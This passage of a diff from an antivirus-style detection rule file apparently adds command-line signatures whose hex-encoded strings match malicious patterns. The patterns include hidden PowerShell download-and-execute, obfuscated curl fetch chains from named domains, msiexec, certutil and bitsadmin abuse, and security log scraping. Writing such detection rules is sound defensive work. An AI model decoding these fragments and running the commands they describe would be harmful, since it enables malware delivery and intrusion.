"!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 01 00 21 " @@ -339716,7 +356810,7 @@ rule _InfrastructureShared_25949{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_25950{ +rule _InfrastructureShared_27280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -339727,7 +356821,34 @@ rule _InfrastructureShared_25950{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*144) >=2 } -rule _InfrastructureShared_25951{ +rule _InfrastructureShared_27281{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0b 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 53 41 00 0a 00 0f 02 63 00 6d 00 64 00 90 02 10 2f 00 63 00 90 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 63 00 75 00 72 } //21283 + $a_00_3 = {74 00 61 00 0a 00 1b 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 90 02 ff 68 00 74 00 74 00 70 00 90 00 0a 00 12 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 0a 00 10 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 0a 00 0e 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 0a 00 0e 00 63 00 73 00 63 } //115 + $a_00_5 = {0a 00 10 00 66 00 6f 00 72 00 66 00 69 00 6c 00 65 00 73 00 0a 00 08 00 70 00 77 00 73 00 68 00 00 00 d7 54 01 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 53 68 65 6c 6c 63 6d 64 6c 65 74 2e 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 c0 00 67 00 65 00 74 00 } //112 + $a_00_6 = {76 00 65 00 6e 00 74 00 4c 00 6f 00 67 00 20 00 73 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 20 00 2d 00 69 00 6e 00 73 00 74 00 61 00 6e 00 63 00 65 00 69 00 64 00 20 00 34 00 36 00 32 00 34 00 20 00 2d 00 4e 00 65 00 77 00 65 00 73 00 74 00 20 00 35 00 20 00 2d 00 45 00 72 00 72 00 6f 00 72 00 41 } //45 + $a_00_8 = {6e 00 20 00 53 00 69 00 6c 00 65 00 6e 00 74 00 6c 00 79 00 43 00 6f 00 6e 00 74 00 69 00 6e 00 75 00 65 00 20 00 7c 00 20 00 66 00 6c 00 20 00 2a 00 20 00 7c 00 20 00 4f 00 75 00 74 00 2d 00 46 00 69 00 6c 00 65 00 01 00 46 00 27 00 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 61 } //105 + $a_00_10 = {76 00 69 00 64 00 5f 00 34 00 36 00 32 00 34 00 2e 00 64 00 61 00 74 00 27 00 00 00 d7 a8 04 00 10 00 10 00 0e 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 69 73 63 6f 76 65 72 79 56 69 61 50 6f 77 65 72 73 68 65 6c 6c 2e 41 00 0f 00 48 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 } //95 + condition: + ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*115+(#a_00_5 & 1)*112+(#a_00_6 & 1)*45+(#a_00_8 & 1)*105+(#a_00_10 & 1)*95) >=10 + +} +rule _InfrastructureShared_27282{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 53 68 65 6c 6c 63 6d 64 6c 65 74 2e 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 c0 00 67 00 65 00 74 00 2d 00 65 00 76 00 65 00 6e 00 } //21283 + $a_00_1 = {6f 00 67 00 20 00 73 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 20 00 2d 00 69 00 6e 00 73 00 74 00 61 00 6e 00 63 00 65 00 69 00 64 00 20 00 34 00 36 00 32 00 34 00 20 00 2d 00 4e 00 65 00 77 00 65 00 73 00 74 00 20 00 35 00 } //116 og security -instanceid 4624 -Newest 5 + $a_00_2 = {45 00 72 00 72 00 6f 00 72 00 41 00 63 00 74 00 69 00 6f 00 6e 00 20 00 53 00 69 00 6c 00 65 00 6e 00 74 00 6c 00 79 00 43 00 6f 00 6e } //32 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_2 & 1)*32) >=3 + +} +rule _InfrastructureShared_27283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 0e 00 21 " @@ -339746,7 +356867,232 @@ rule _InfrastructureShared_25951{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*120+(#a_00_3 & 1)*32+(#a_00_5 & 1)*45+(#a_00_7 & 1)*101+(#a_00_8 & 1)*117+(#a_00_9 & 1)*116+(#a_00_11 & 1)*112+(#a_00_12 & 1)*101+(#a_00_13 & 1)*109) >=16 } -rule _InfrastructureShared_25952{ +rule _InfrastructureShared_27284{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 4d 53 49 2e 53 68 69 6d 53 68 61 64 79 2e 4b 00 01 00 1b 02 73 00 64 00 62 00 69 00 6e 00 73 00 74 00 90 02 ff 2e 00 73 00 64 00 62 00 90 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27285{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_46_0 = {4f 62 66 75 73 63 61 74 65 64 50 6f 77 65 72 53 68 65 6c 6c 45 78 65 63 75 74 69 6f 6e 2e 42 6f 6f 73 74 21 61 70 00 02 00 30 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 65 00 63 00 68 00 6f 00 20 00 69 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=4 + +} +rule _InfrastructureShared_27286{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 44 43 4b 2e 55 72 6c 21 61 70 00 02 00 16 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 01 00 44 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 } //21283 + $a_00_1 = {77 00 77 00 2e 00 69 00 6e 00 74 00 65 00 6c 00 6c 00 65 00 67 00 72 00 61 00 74 00 69 00 6f 00 6e 00 6c 00 6c 00 63 00 2e 00 63 00 6f 00 6d 00 2f 00 01 00 42 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 69 00 6e 00 74 00 65 00 6c 00 6c 00 65 00 67 00 72 00 61 00 74 00 69 00 6f 00 6e 00 6c 00 6c 00 63 00 2e 00 63 00 6f 00 6d 00 2f } //47 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*47) >=3 + +} +rule _InfrastructureShared_27287{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 44 43 4b 2e 42 6f 6f 73 74 21 61 70 00 01 00 16 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 02 00 40 00 63 00 6d 00 64 00 2e 00 65 00 78 00 } //21283 + $a_00_1 = {2f 00 63 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 63 00 6d 00 } //101 /c cmd.exe /c cm + $a_00_2 = {65 00 78 00 65 00 20 00 2f 00 63 00 02 00 2c 00 63 00 5e 00 75 00 5e 00 72 00 6c 00 2e 00 65 00 5e 00 78 00 5e 00 65 00 20 00 2d 00 6b 00 } //100 + $a_00_3 = {73 00 73 00 20 00 2d 00 78 00 02 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 02 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f } //32 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*100+(#a_00_3 & 1)*32) >=7 + +} +rule _InfrastructureShared_27288{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " + + strings : + $a_46_0 = {43 4c 2e 53 75 73 4d 73 69 65 78 65 63 2e 55 72 6c 21 61 70 00 01 00 26 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6b 00 6f 00 6c 00 65 00 70 00 7a 00 2e 00 63 00 6f 00 6d 00 2f 00 01 00 30 00 68 00 74 00 74 00 70 00 73 } //21283 + $a_00_2 = {61 00 72 00 68 00 6f 00 6d 00 6f 00 6c 00 6f 00 67 00 79 00 2e 00 63 00 66 00 64 00 2f 00 01 00 2e 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6f 00 6d 00 6e 00 69 00 6d 00 65 00 6e 00 74 00 61 00 6c 00 2e 00 69 00 63 00 75 00 2f 00 01 00 36 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 74 00 69 00 6e 00 73 00 65 00 6c 00 } //47 + $a_00_3 = {61 00 76 00 65 00 72 00 2e 00 62 00 6f 00 61 00 74 00 73 00 2f 00 00 00 d7 f1 00 00 08 00 08 00 01 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 50 6f 77 65 72 53 68 65 6c 6c 52 65 6d 6f 74 65 53 63 72 69 70 74 45 78 65 63 75 74 69 6f 6e 21 61 70 00 08 00 b6 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 } //119 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*47+(#a_00_3 & 1)*119) >=1 + +} +rule _InfrastructureShared_27289{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 01 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 50 6f 77 65 72 53 68 65 6c 6c 52 65 6d 6f 74 65 53 63 72 69 70 74 45 78 65 63 75 74 69 6f 6e 21 61 70 00 08 00 b6 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d } //21283 + condition: + ((#a_46_0 & 1)*21283) >=8 + +} +rule _InfrastructureShared_27290{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 53 68 65 6c 6c 48 69 64 64 65 6e 43 6d 64 2e 42 6f 6f 73 74 21 61 70 00 08 00 56 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 } //21283 + $a_00_1 = {69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 06 00 25 02 27 00 3b 00 20 00 24 00 90 02 0a 20 00 3d 00 20 00 27 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 00 06 00 23 02 27 00 3b 00 20 00 24 00 90 02 0a 20 00 3d 00 20 00 27 00 68 00 74 } //45 + $a_00_3 = {2f 00 90 00 06 00 1e 00 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 00 00 d7 3c 01 00 0a 00 0a } //58 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_00_3 & 1)*58) >=20 + +} +rule _InfrastructureShared_27291{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 52 44 50 53 63 72 69 70 74 45 78 65 63 75 74 69 6f 6e 21 61 70 00 03 00 26 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 03 00 18 00 24 00 } //21283 + $a_00_1 = {6c 00 3d 00 22 00 72 00 64 00 70 00 3a 00 2f 00 2f 00 03 00 50 00 24 00 75 00 72 00 6c 00 3d 00 24 00 75 00 72 00 6c 00 2e 00 73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 36 00 29 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 22 00 2f 00 22 00 2c 00 22 00 5c 00 22 00 29 00 3b 00 04 00 46 00 73 00 74 00 61 00 72 00 } //117 + $a_00_2 = {70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 2d 00 66 00 69 00 6c 00 65 00 70 00 61 00 74 00 68 00 20 00 22 00 6d 00 73 00 74 00 73 } //116 + $a_00_4 = {65 00 22 00 03 00 2a 00 2d 00 61 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 6c 00 69 00 73 00 74 00 20 00 2f 00 76 00 3a 00 24 00 75 00 72 00 6c 00 00 00 d7 43 01 00 10 00 10 00 0b 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 50 6f 77 65 72 73 68 65 6c 6c 4d 61 6c 69 63 69 6f 75 73 44 6f 77 6e 6c 6f 61 64 21 61 70 00 04 00 2e 00 2d 00 65 00 78 00 65 00 63 00 75 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*117+(#a_00_2 & 1)*116+(#a_00_4 & 1)*101) >=10 + +} +rule _InfrastructureShared_27292{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 0b 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 50 6f 77 65 72 73 68 65 6c 6c 4d 61 6c 69 63 69 6f 75 73 44 6f 77 6e 6c 6f 61 64 21 61 70 00 04 00 2e 00 2d 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 62 } //21283 + $a_00_2 = {73 00 04 00 14 00 2d 00 65 00 70 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 04 00 1c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 04 00 1c 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 03 00 26 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c } //97 + $a_00_4 = {64 00 64 00 65 00 6e 00 03 00 14 00 2d 00 6e 00 6f 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 03 00 06 00 69 00 65 00 78 00 03 00 06 00 69 00 72 00 6d 00 03 00 06 00 69 00 77 00 72 00 03 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 03 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 00 00 d7 60 01 } //104 + $a_23_6 = {4c 46 3a 4d 61 6c 69 63 69 6f 75 73 3a 43 6d 64 5f 50 6f 77 65 72 53 68 65 6c 6c 5f 52 75 6e 41 73 } //5 LF:Malicious:Cmd_PowerShell_RunAs + $a_00_7 = {0a 00 2c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 65 00 63 00 68 00 6f 00 7c 00 73 00 65 00 74 00 2f 00 70 00 3d 00 0a 00 40 00 7c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 6e 00 6f 00 70 00 20 00 2d 00 77 00 20 00 31 00 20 00 2d 00 6e 00 6f 00 6e 00 69 00 20 00 2d 00 6e 00 } //24865 + $a_00_8 = {0f 00 28 00 73 00 61 00 70 00 73 00 20 00 27 00 63 00 6d 00 64 00 27 00 20 00 2d 00 61 00 72 00 67 00 73 00 20 00 27 00 2f 00 63 00 0f 00 72 00 63 00 64 00 20 00 2f 00 64 00 27 00 2c 00 24 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 33 00 34 00 2b 00 24 00 69 00 6e 00 70 00 75 00 74 00 2b 00 5b 00 63 00 68 00 61 00 72 00 } //111 + $a_00_9 = {34 00 29 00 2c 00 27 00 5e 00 26 00 5e 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 62 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 0a } //93 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_00_4 & 1)*104+(#a_23_6 & 1)*5+(#a_00_7 & 1)*24865+(#a_00_8 & 1)*111+(#a_00_9 & 1)*93) >=16 + +} +rule _InfrastructureShared_27293{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,32 00 32 00 05 00 21 " + + strings : + $a_46_0 = {4d 61 6c 69 63 69 6f 75 73 3a 43 6d 64 5f 50 6f 77 65 72 53 68 65 6c 6c 5f 52 75 6e 41 73 21 61 70 00 0a 00 2c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 65 00 63 00 68 00 6f 00 7c 00 73 00 65 00 74 00 } //21283 + $a_00_1 = {3d 00 0a 00 40 00 7c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 6e 00 6f 00 70 00 20 00 2d 00 77 00 20 00 31 00 20 00 2d 00 6e 00 6f 00 6e 00 69 00 20 00 2d 00 6e 00 6f 00 6c 00 0f 00 28 00 73 00 61 00 70 00 73 00 20 00 27 00 63 00 6d 00 64 00 27 00 20 00 2d 00 61 00 72 00 67 00 73 00 20 00 27 00 2f 00 } //47 + $a_00_2 = {72 00 63 00 64 00 20 00 2f 00 64 00 27 00 2c } //99 + $a_00_4 = {68 00 61 00 72 00 5d 00 33 00 34 00 2b 00 24 00 69 00 6e 00 70 00 75 00 74 00 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 33 00 34 00 29 00 2c 00 27 00 5e 00 26 00 5e 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 62 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 0a 00 16 00 2d 00 76 } //91 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*47+(#a_00_2 & 1)*99+(#a_00_4 & 1)*91) >=50 + +} +rule _InfrastructureShared_27294{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 05 00 21 " + + strings : + $a_46_0 = {4f 62 66 75 73 63 61 74 65 64 50 6f 77 65 72 53 68 65 6c 6c 45 78 65 63 75 74 69 6f 6e 21 61 70 00 07 00 30 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 65 00 63 00 68 00 6f 00 20 00 69 00 65 00 78 00 20 } //21283 + $a_00_2 = {08 00 4e 00 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 63 00 72 00 65 00 61 00 74 00 65 00 28 00 5b 00 73 00 74 00 72 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 6a 00 6f 00 69 00 6e 00 28 00 27 00 27 00 06 00 4e 00 67 00 65 00 74 00 2d 00 69 00 74 00 65 00 6d 00 70 00 72 00 6f 00 70 } //99 + $a_00_4 = {20 00 2d 00 70 00 61 00 74 00 68 00 20 00 27 00 68 00 6b 00 6c 00 6d 00 3a 00 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 09 00 3c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 08 00 20 00 5b 00 63 00 68 00 61 } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_00_4 & 1)*116) >=30 + +} +rule _InfrastructureShared_27295{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 04 00 21 " + + strings : + $a_46_0 = {50 6f 77 65 72 53 68 65 6c 6c 2f 48 74 74 70 43 6c 69 65 6e 74 45 78 65 63 75 74 69 6f 6e 21 61 70 00 03 00 74 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 6e 00 6f 00 70 00 20 00 2d 00 77 00 20 00 } //21283 + $a_00_1 = {64 00 64 00 65 00 6e 00 20 00 2d 00 63 00 20 00 22 00 61 00 64 00 64 00 2d 00 74 00 79 00 70 00 65 00 20 00 2d 00 61 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 6e 00 65 00 74 00 2e 00 68 00 74 00 74 00 70 00 3b 00 02 00 3a 00 5b 00 6e 00 65 00 74 00 2e 00 68 00 74 00 74 00 70 00 2e 00 68 00 74 00 74 00 70 } //104 + $a_00_3 = {6e 00 74 00 5d 00 3a 00 3a 00 6e 00 65 00 77 00 28 00 29 00 3b 00 02 00 30 00 26 00 28 00 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 63 00 72 00 65 00 61 00 74 00 65 00 28 00 02 00 5c 02 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 61 00 73 00 79 } //105 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*104+(#a_00_3 & 1)*105) >=8 + +} +rule _InfrastructureShared_27296{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 06 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 43 6d 64 43 75 72 6c 50 6f 73 74 21 61 70 00 04 00 80 00 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6f 00 6e 00 68 00 6f 00 73 } //21283 + $a_00_2 = {65 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 04 00 34 00 63 00 5e 00 75 00 5e 00 72 00 6c 00 2e 00 65 00 5e 00 78 00 65 00 20 00 2d 00 6b 00 20 00 2d 00 73 00 73 00 20 00 2d 00 78 00 20 00 70 00 6f 00 } //101 + $a_00_3 = {03 00 4a 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 76 00 61 00 63 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 68 00 65 00 61 00 64 00 65 00 72 00 2e 00 70 00 68 00 70 00 03 00 56 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 6c 00 61 00 73 00 73 00 69 00 63 00 63 00 6f 00 } //115 + $a_00_4 = {6e 00 69 00 61 00 6c 00 68 00 6f 00 6d 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 68 00 65 00 61 00 64 00 65 00 72 00 2e 00 70 00 68 00 70 00 02 00 26 00 2d 00 6f 00 20 00 22 00 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 02 00 42 00 26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 } //108 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_3 & 1)*115+(#a_00_4 & 1)*108) >=12 + +} +rule _InfrastructureShared_27297{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 53 68 65 6c 6c 48 69 64 64 65 6e 43 6d 64 21 61 70 00 08 00 56 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 77 00 69 00 } //21283 + $a_00_1 = {6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 07 00 1c 00 24 00 63 00 61 00 6c 00 6c 00 65 00 72 00 20 00 3d 00 20 00 27 00 2b 00 34 00 35 00 06 00 a6 00 24 00 63 00 72 00 6d 00 75 00 72 00 6c 00 20 00 3d 00 } //110 + $a_00_2 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 65 00 66 00 63 00 72 00 6d 00 2e 00 65 00 6e 00 65 00 72 00 67 00 69 } //32 + $a_00_4 = {64 00 6b 00 2f 00 77 00 65 00 62 00 72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 2f 00 6e 00 63 00 5f 00 6b 00 75 00 6e 00 64 00 } //110 dk/webresources/nc_kund + $a_00_5 = {70 00 73 00 6c 00 61 00 67 00 5f 00 6b 00 75 00 6e 00 64 00 65 00 6f 00 70 00 73 00 6c 00 61 00 67 00 3f 00 64 00 61 00 74 00 61 00 3d 00 06 00 32 00 24 00 63 00 61 00 6c 00 6c 00 65 00 72 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 2b 00 34 00 35 00 27 00 2c 00 27 00 27 00 29 00 06 00 2a 00 73 00 74 00 61 00 72 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_00_2 & 1)*32+(#a_00_4 & 1)*110+(#a_00_5 & 1)*101) >=20 + +} +rule _InfrastructureShared_27298{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 44 43 4b 21 61 70 00 1e 00 80 00 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6f 00 } //21283 + $a_00_1 = {6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 19 00 2c 00 63 00 5e 00 75 00 5e 00 72 00 6c 00 2e 00 65 00 5e 00 78 00 } //110 + $a_00_2 = {20 00 2d 00 6b 00 20 00 2d 00 73 00 73 00 20 00 2d 00 78 00 14 00 24 00 2d 00 6f 00 20 00 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 0f 00 40 00 26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 6d 00 69 00 6e 00 20 00 22 00 22 00 20 00 63 00 3a } //94 + $a_00_4 = {67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 0a 00 1a 00 2d 00 6b 00 20 00 2d 00 73 00 73 00 20 00 2d 00 78 00 20 00 67 00 65 00 74 00 0a 00 1c 00 2d 00 6b 00 20 00 2d 00 73 00 73 00 20 00 2d 00 78 00 20 00 70 00 6f 00 73 00 74 00 14 00 3c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 32 00 62 00 65 00 69 00 6e 00 66 } //114 + $a_00_6 = {63 00 6f 00 6d 00 2f 00 68 00 65 00 61 00 64 00 2e 00 70 00 68 00 70 00 14 00 54 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 } //119 + $a_00_7 = {2e 00 69 00 6e 00 74 00 65 00 6c 00 6c 00 65 00 67 00 72 00 61 00 74 00 69 00 6f 00 6e 00 6c 00 6c 00 63 00 2e 00 63 00 6f 00 6d 00 2f 00 68 00 65 00 61 00 64 00 2e 00 70 00 68 00 70 00 14 00 58 00 68 00 74 00 74 